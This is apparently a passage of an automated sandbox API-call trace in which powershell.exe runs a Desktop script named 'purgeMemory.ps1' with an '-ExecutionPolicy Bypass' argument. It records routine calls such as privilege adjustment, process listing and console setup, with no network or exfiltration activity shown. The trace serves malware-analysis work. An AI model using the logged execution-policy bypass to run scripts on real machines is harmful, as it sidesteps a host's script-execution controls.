"NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 86 os_tid = 0x136c [0107.282] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0107.282] RoInitialize () returned 0x1 [0107.283] RoUninitialize () returned 0x0 [0108.477] SysStringByteLen (bstr="-ExecutionPolicy") returned 0x20 [0108.477] SysStringByteLen (bstr="-ExecutionPolicy") returned 0x20 [0108.477] SysStringByteLen (bstr="Bypass") returned 0xc [0108.477] SysStringByteLen (bstr="Bypass") returned 0xc [0108.477] SysStringByteLen (bstr="-File") returned 0xa [0108.477] SysStringByteLen (bstr="-File") returned 0xa [0108.477] SysStringByteLen (bstr="purgeMemory.ps1") returned 0x1e [0108.477] SysStringByteLen (bstr="purgeMemory.ps1") returned 0x1e [0108.906] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0108.906] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0108.906] QueryInterface () returned 0x0 [0108.906] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::GetRuntimeClassName () returned 0x8000000e [0108.906] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0108.907] InSendMessage () returned 0 [0108.907] WindowsDeleteString () returned 0x0 [0108.907] Release () returned 0x2 [0108.907] CoGetContextToken (in: pToken=0x30ae008 | out: pToken=0x30ae008) returned 0x0 [0108.908] IIDFromString (in: lpsz="{410B7711-FF3B-477F-9C9A-D2EFDA302DC3}", lpiid=0x30ad6a0 | out: lpiid=0x30ad6a0) returned 0x0 [0109.433] WindowsCreateString () returned 0x0 [0109.434] CExtensionCatalog::AddRef () returned 0x4 [0109.434] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x3 [0109.434] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::get_Enabled () returned 0x0 [0109.446] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x30ae994*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x30ae994*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x1a, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0109.446] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x30ae944*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x30ae944*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0109.448] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x30ae9a4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x1a, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x30ae9a4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x1a, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0109.453] EtwEventRegister (in: ProviderId=0x53b66b0, EnableCallback=0x74d2c16, CallbackContext=0x0, RegHandle=0x53b6688 | out: RegHandle=0x53b6688) returned 0x0 [0109.455] EtwEventWriteTransfer (RegHandle=0x313a380, EventDescriptor=0x68, ActivityId=0x30ae9b8, RelatedActivityId=0x30ae964, UserDataCount=0x0, UserData=0x0) returned 0x0 [0109.460] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ae120 | out: phkResult=0x30ae120*=0x0) returned 0x2 [0109.460] RegCloseKey (hKey=0x80000002) returned 0x0 [0109.466] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x104, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0109.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x30ae868) returned 1 [0109.570] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x30ae8e4 | out: lpFileInformation=0x30ae8e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce8766, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x71ce8766, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x71d0e9d1, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x623400)) returned 1 [0109.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x30ae864) returned 1 [0109.572] GetFileVersionInfoW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x53b7408 | out: lpData=0x53b7408) returned 1 [0109.573] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x30ae92c, puLen=0x30ae928 | out: lplpBuffer=0x30ae92c*=0x53b74a4, puLen=0x30ae928) returned 1 [0109.578] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x30ae8ac, puLen=0x30ae8a8 | out: lplpBuffer=0x30ae8ac*=0x53b7580, puLen=0x30ae8a8) returned 1 [0109.578] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x30ae8ac, puLen=0x30ae8a8 | out: lplpBuffer=0x30ae8ac*=0x53b75d4, puLen=0x30ae8a8) returned 1 [0109.578] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x30ae8ac, puLen=0x30ae8a8 | out: lplpBuffer=0x30ae8ac*=0x53b7630, puLen=0x30ae8a8) returned 1 [0109.578] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x30ae8ac, puLen=0x30ae8a8 | out: lplpBuffer=0x30ae8ac*=0x53b7670, puLen=0x30ae8a8) returned 1 [0109.578] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x30ae8ac, puLen=0x30ae8a8 | out: lplpBuffer=0x30ae8ac*=0x53b76d8, puLen=0x30ae8a8) returned 1 [0109.578] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x30ae8ac, puLen=0x30ae8a8 | out: lplpBuffer=0x30ae8ac*=0x53b7774, puLen=0x30ae8a8) returned 1 [0109.578] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x30ae8ac, puLen=0x30ae8a8 | out: lplpBuffer=0x30ae8ac*=0x53b77d8, puLen=0x30ae8a8) returned 1 [0109.578] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x30ae8ac, puLen=0x30ae8a8 | out: lplpBuffer=0x30ae8ac*=0x53b7854, puLen=0x30ae8a8) returned 1 [0109.578] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x30ae8ac, puLen=0x30ae8a8 | out: lplpBuffer=0x30ae8ac*=0x53b74fc, puLen=0x30ae8a8) returned 1 [0109.578] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x30ae8ac, puLen=0x30ae8a8 | out: lplpBuffer=0x30ae8ac*=0x0, puLen=0x30ae8a8) returned 0 [0109.578] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x30ae8ac, puLen=0x30ae8a8 | out: lplpBuffer=0x30ae8ac*=0x0, puLen=0x30ae8a8) returned 0 [0109.578] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x30ae8ac, puLen=0x30ae8a8 | out: lplpBuffer=0x30ae8ac*=0x0, puLen=0x30ae8a8) returned 0 [0109.578] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x30ae8a0, puLen=0x30ae89c | out: lplpBuffer=0x30ae8a0*=0x53b74a4, puLen=0x30ae89c) returned 1 [0109.578] VerLanguageNameW (in: wLang=0x0, szLang=0x30ae630, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0109.580] VerQueryValueW (in: pBlock=0x53b7408, lpSubBlock="\\", lplpBuffer=0x30ae8b0, puLen=0x30ae8ac | out: lplpBuffer=0x30ae8b0*=0x53b7430, puLen=0x30ae8ac) returned 1 [0109.581] GetCurrentProcessId () returned 0x1368 [0109.585] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x30ae174 | out: lpLuid=0x30ae174*(LowPart=0x14, HighPart=0)) returned 1 [0109.586] GetCurrentProcess () returned 0xffffffff [0109.586] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x30ae170 | out: TokenHandle=0x30ae170*=0x50c) returned 1 [0109.586] AdjustTokenPrivileges (in: TokenHandle=0x50c, DisableAllPrivileges=0, NewState=0x53b9c28*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0109.586] CloseHandle (hObject=0x50c) returned 1 [0109.588] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1368) returned 0x50c [0109.798] EnumProcessModules (in: hProcess=0x50c, lphModule=0x53b9c6c, cb=0x100, lpcbNeeded=0x30ae8e0 | out: lphModule=0x53b9c6c, lpcbNeeded=0x30ae8e0) returned 1 [0109.798] GetModuleInformation (in: hProcess=0x50c, hModule=0xb50000, lpmodinfo=0x53be73c, cb=0xc | out: lpmodinfo=0x53be73c*(lpBaseOfDll=0xb50000, SizeOfImage=0x6c000, EntryPoint=0xb595f0)) returned 1 [0109.799] CoTaskMemAlloc (cb=0x804) returned 0x31c4f88 [0109.799] GetModuleBaseNameW (in: hProcess=0x50c, hModule=0xb50000, lpBaseName=0x31c4f88, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0109.800] CoTaskMemFree (pv=0x31c4f88) [0109.800] CoTaskMemAlloc (cb=0x804) returned 0x31c4f88 [0109.800] GetModuleFileNameExW (in: hProcess=0x50c, hModule=0xb50000, lpFilename=0x31c4f88, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0109.800] CoTaskMemFree (pv=0x31c4f88) [0109.800] CloseHandle (hObject=0x50c) returned 1 [0109.801] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x1368) returned 0x50c [0109.801] GetExitCodeProcess (in: hProcess=0x50c, lpExitCode=0x53b9390 | out: lpExitCode=0x53b9390*=0x103) returned 1 [0109.805] EnumWindows (lpEnumFunc=0x74d2c3e, lParam=0x0) returned 0 [0109.806] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0xa58 [0109.806] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x848 [0109.806] GetWindowThreadProcessId (in: hWnd=0x100cc, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x7b8 [0109.806] GetWindowThreadProcessId (in: hWnd=0x100c8, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x7b8 [0109.806] GetWindowThreadProcessId (in: hWnd=0x100c4, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x7b8 [0109.806] GetWindowThreadProcessId (in: hWnd=0x100c0, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x7b8 [0109.807] GetWindowThreadProcessId (in: hWnd=0x100ae, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x7b8 [0109.807] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x7b8 [0109.807] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x7b8 [0109.807] GetWindowThreadProcessId (in: hWnd=0x100e0, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x7b8 [0109.807] GetWindowThreadProcessId (in: hWnd=0x100d0, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x7b8 [0109.807] GetWindowThreadProcessId (in: hWnd=0x100d4, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x7b8 [0109.807] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x7b8 [0109.807] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0xc30 [0109.807] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x7e4 [0109.807] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x7b8 [0109.808] GetWindowThreadProcessId (in: hWnd=0x602b6, lpdwProcessId=0x30ae844 | out: lpdwProcessId=0x30ae844) returned 0x136c [0109.808] GetWindow (hWnd=0x602b6, uCmd=0x4) returned 0x0 [0109.808] IsWindowVisible (hWnd=0x602b6) returned 1 [0109.812] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x63b94c8, Length=0x20000, ResultLength=0x30ae904 | out: SystemInformation=0x63b94c8, ResultLength=0x30ae904*=0x25970) returned 0xc0000004 [0109.816] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x63d94e8, Length=0x28170, ResultLength=0x30ae904 | out: SystemInformation=0x63d94e8, ResultLength=0x30ae904*=0x1b600) returned 0x0 [0109.826] WerSetFlags () returned 0x0 [0109.827] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0109.949] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x30ae930, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x30ae92c | out: pulNumLanguages=0x30ae930, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x30ae92c) returned 1 [0109.949] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x30ae930, pwszLanguagesBuffer=0x53eb9a8, pcchLanguagesBuffer=0x30ae92c | out: pulNumLanguages=0x30ae930, pwszLanguagesBuffer=0x53eb9a8, pcchLanguagesBuffer=0x30ae92c) returned 1 [0109.952] GetUserDefaultLocaleName (in: lpLocaleName=0x30ae8c4, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0109.956] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x30ae074, nSize=0x80 | out: lpBuffer="￿￿̊ဢ狙㦀熪皴燣佚狢金͙邰̔皴燣㦀熪胰燎㦀熪胰燎̊啾狢￿￿̊꛰猯￿￿佚狢刐狢䪌燭") returned 0x0 [0109.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x30ad880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0109.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x30add3c) returned 1 [0109.983] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x30addb8 | out: lpFileInformation=0x30addb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0109.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x30add38) returned 1 [0110.347] CoCreateGuid (in: pguid=0x30adfe4 | out: pguid=0x30adfe4*(Data1=0xae3596a0, Data2=0xe0b6, Data3=0x4344, Data4=([0]=0xb4, [1]=0x2a, [2]=0xa, [3]=0x25, [4]=0x65, [5]=0x74, [6]=0xe1, [7]=0x14))) returned 0x0 [0110.359] CoCreateGuid (in: pguid=0x30adfd8 | out: pguid=0x30adfd8*(Data1=0xb211766a, Data2=0xeaf1, Data3=0x4cd1, Data4=([0]=0x8f, [1]=0x33, [2]=0x1c, [3]=0x8d, [4]=0x7e, [5]=0xe6, [6]=0x2f, [7]=0xf5))) returned 0x0 [0110.359] CoCreateGuid (in: pguid=0x30adfd8 | out: pguid=0x30adfd8*(Data1=0x729eee1f, Data2=0x889d, Data3=0x478e, Data4=([0]=0x87, [1]=0x97, [2]=0xf5, [3]=0x8e, [4]=0x76, [5]=0xda, [6]=0x61, [7]=0xa4))) returned 0x0 [0110.359] CoCreateGuid (in: pguid=0x30adfd8 | out: pguid=0x30adfd8*(Data1=0x83280b09, Data2=0xbf9e, Data3=0x4928, Data4=([0]=0xb8, [1]=0x4c, [2]=0xfb, [3]=0xaf, [4]=0x9d, [5]=0x86, [6]=0x4, [7]=0x80))) returned 0x0 [0110.359] CoCreateGuid (in: pguid=0x30adfd8 | out: pguid=0x30adfd8*(Data1=0x1614c767, Data2=0xbaec, Data3=0x4630, Data4=([0]=0x92, [1]=0xe7, [2]=0xfd, [3]=0x9b, [4]=0x9f, [5]=0x53, [6]=0xa1, [7]=0x77))) returned 0x0 [0110.359] CoCreateGuid (in: pguid=0x30adfd8 | out: pguid=0x30adfd8*(Data1=0x8d2647de, Data2=0x8b28, Data3=0x47cb, Data4=([0]=0x8d, [1]=0xde, [2]=0x88, [3]=0xc9, [4]=0x44, [5]=0xac, [6]=0x68, [7]=0x63))) returned 0x0 [0110.359] CoCreateGuid (in: pguid=0x30adfd8 | out: pguid=0x30adfd8*(Data1=0xf4bd4645, Data2=0xb27f, Data3=0x4e52, Data4=([0]=0xae, [1]=0x2f, [2]=0x39, [3]=0xd2, [4]=0x81, [5]=0xfa, [6]=0x77, [7]=0x89))) returned 0x0 [0110.359] CoCreateGuid (in: pguid=0x30adfd8 | out: pguid=0x30adfd8*(Data1=0xcf6515d3, Data2=0x6f1d, Data3=0x4e0e, Data4=([0]=0x83, [1]=0xdb, [2]=0x28, [3]=0xd3, [4]=0xa5, [5]=0x18, [6]=0x66, [7]=0x4a))) returned 0x0 [0110.359] CoCreateGuid (in: pguid=0x30adfd8 | out: pguid=0x30adfd8*(Data1=0xc941d484, Data2=0xd908, Data3=0x4018, Data4=([0]=0xa8, [1]=0x28, [2]=0x14, [3]=0x6a, [4]=0x5b, [5]=0x65, [6]=0x6b, [7]=0x1a))) returned 0x0 [0110.359] CoCreateGuid (in: pguid=0x30adfd8 | out: pguid=0x30adfd8*(Data1=0xca907c53, Data2=0x1d87, Data3=0x441a, Data4=([0]=0xa6, [1]=0xf7, [2]=0x75, [3]=0xae, [4]=0xbc, [5]=0x6c, [6]=0x49, [7]=0x88))) returned 0x0 [0110.359] CoCreateGuid (in: pguid=0x30adfd8 | out: pguid=0x30adfd8*(Data1=0xa4c37e57, Data2=0x791d, Data3=0x4b25, Data4=([0]=0x8f, [1]=0x8c, [2]=0x51, [3]=0x7a, [4]=0x55, [5]=0xe5, [6]=0x40, [7]=0xbe))) returned 0x0 [0110.359] CoCreateGuid (in: pguid=0x30adfd8 | out: pguid=0x30adfd8*(Data1=0x595dc5c7, Data2=0x4f29, Data3=0x4934, Data4=([0]=0x9a, [1]=0x62, [2]=0x96, [3]=0xc6, [4]=0x98, [5]=0xad, [6]=0x92, [7]=0xf1))) returned 0x0 [0110.359] CoCreateGuid (in: pguid=0x30adfd8 | out: pguid=0x30adfd8*(Data1=0xa043ba6d, Data2=0x64cd, Data3=0x47b0, Data4=([0]=0xaf, [1]=0x35, [2]=0xfc, [3]=0xdb, [4]=0xc9, [5]=0x76, [6]=0xb9, [7]=0x4e))) returned 0x0 [0110.359] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x30adcf4, nSize=0xfa | out: lpBuffer="䳆狞욆͙\x14\x01徠狙哨ػ") returned 0x0 [0110.635] CoTaskMemAlloc (cb=0x20c) returned 0x77af3a8 [0110.635] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x77af3a8 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x0 [0110.637] CoTaskMemFree (pv=0x77af3a8) [0110.637] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1e [0110.637] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x1e, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0110.637] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0110.637] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", nBufferLength=0x3b, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", lpFilePart=0x0) returned 0x3a [0110.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x30ae874) returned 1 [0110.637] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell"), fInfoLevelId=0x0, lpFileInformation=0x30ae8f0 | out: lpFileInformation=0x30ae8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3ec8443, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xdc924418, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0110.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x30ae870) returned 1 [0110.640] CoCreateGuid (in: pguid=0x30ae900 | out: pguid=0x30ae900*(Data1=0xda7a7716, Data2=0xe20d, Data3=0x4c9a, Data4=([0]=0xbd, [1]=0x68, [2]=0xcc, [3]=0x1a, [4]=0x2, [5]=0x45, [6]=0xa, [7]=0x4b))) returned 0x0 [0110.643] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ae7e0 | out: phkResult=0x30ae7e0*=0x0) returned 0x2 [0110.644] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ae7e0 | out: phkResult=0x30ae7e0*=0x0) returned 0x2 [0110.651] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x30ade7c, nSize=0xfa | out: lpBuffer="䳆狞爛͙\x14\x01徠狙哨ػ܀ݻ읒͙") returned 0x0 [0110.654] CreateFileW (lpFileName="CONOUT$" (normalized: "\\device\\condrv\\currentout"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0110.794] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x30ae88c | out: lpConsoleScreenBufferInfo=0x30ae88c) returned 1 [0110.901] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x30ae88c | out: lpConsoleScreenBufferInfo=0x30ae88c) returned 1 [0111.043] GetConsoleMode (in: hConsoleHandle=0x714, lpMode=0x30ae8f0 | out: lpMode=0x30ae8f0) returned 1 [0111.182] SetConsoleMode (hConsoleHandle=0x714, dwMode=0x7) returned 1 [0111.261] GetConsoleMode (in: hConsoleHandle=0x714, lpMode=0x30ae8f0 | out: lpMode=0x30ae8f0) returned 1 [0111.430] GetFullPathNameW (in: lpFileName="purgeMemory.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0111.430] GetFullPathNameW (in: lpFileName="purgeMemory.ps1", nBufferLength=0x28, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", lpFilePart=0x0) returned 0x27 [0111.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0111.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x28, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", lpFilePart=0x0) returned 0x27 [0111.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x30ae7b8) returned 1 [0111.430] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\purgememory.ps1"), fInfoLevelId=0x0, lpFileInformation=0x30ae834 | out: lpFileInformation=0x30ae834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d963c24, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x6d963c24, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x8d43954e, ftLastWriteTime.dwHighDateTime=0x1d55e57, nFileSizeHigh=0x0, nFileSizeLow=0x204a)) returned 1 [0111.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x30ae7b4) returned 1 [0111.445] GetConsoleCP () returned 0x1b5 [0111.555] GetCurrentConsoleFontEx (in: hConsoleOutput=0x714, bMaximumWindow=0, lpConsoleCurrentFontEx=0x30ae840 | out: 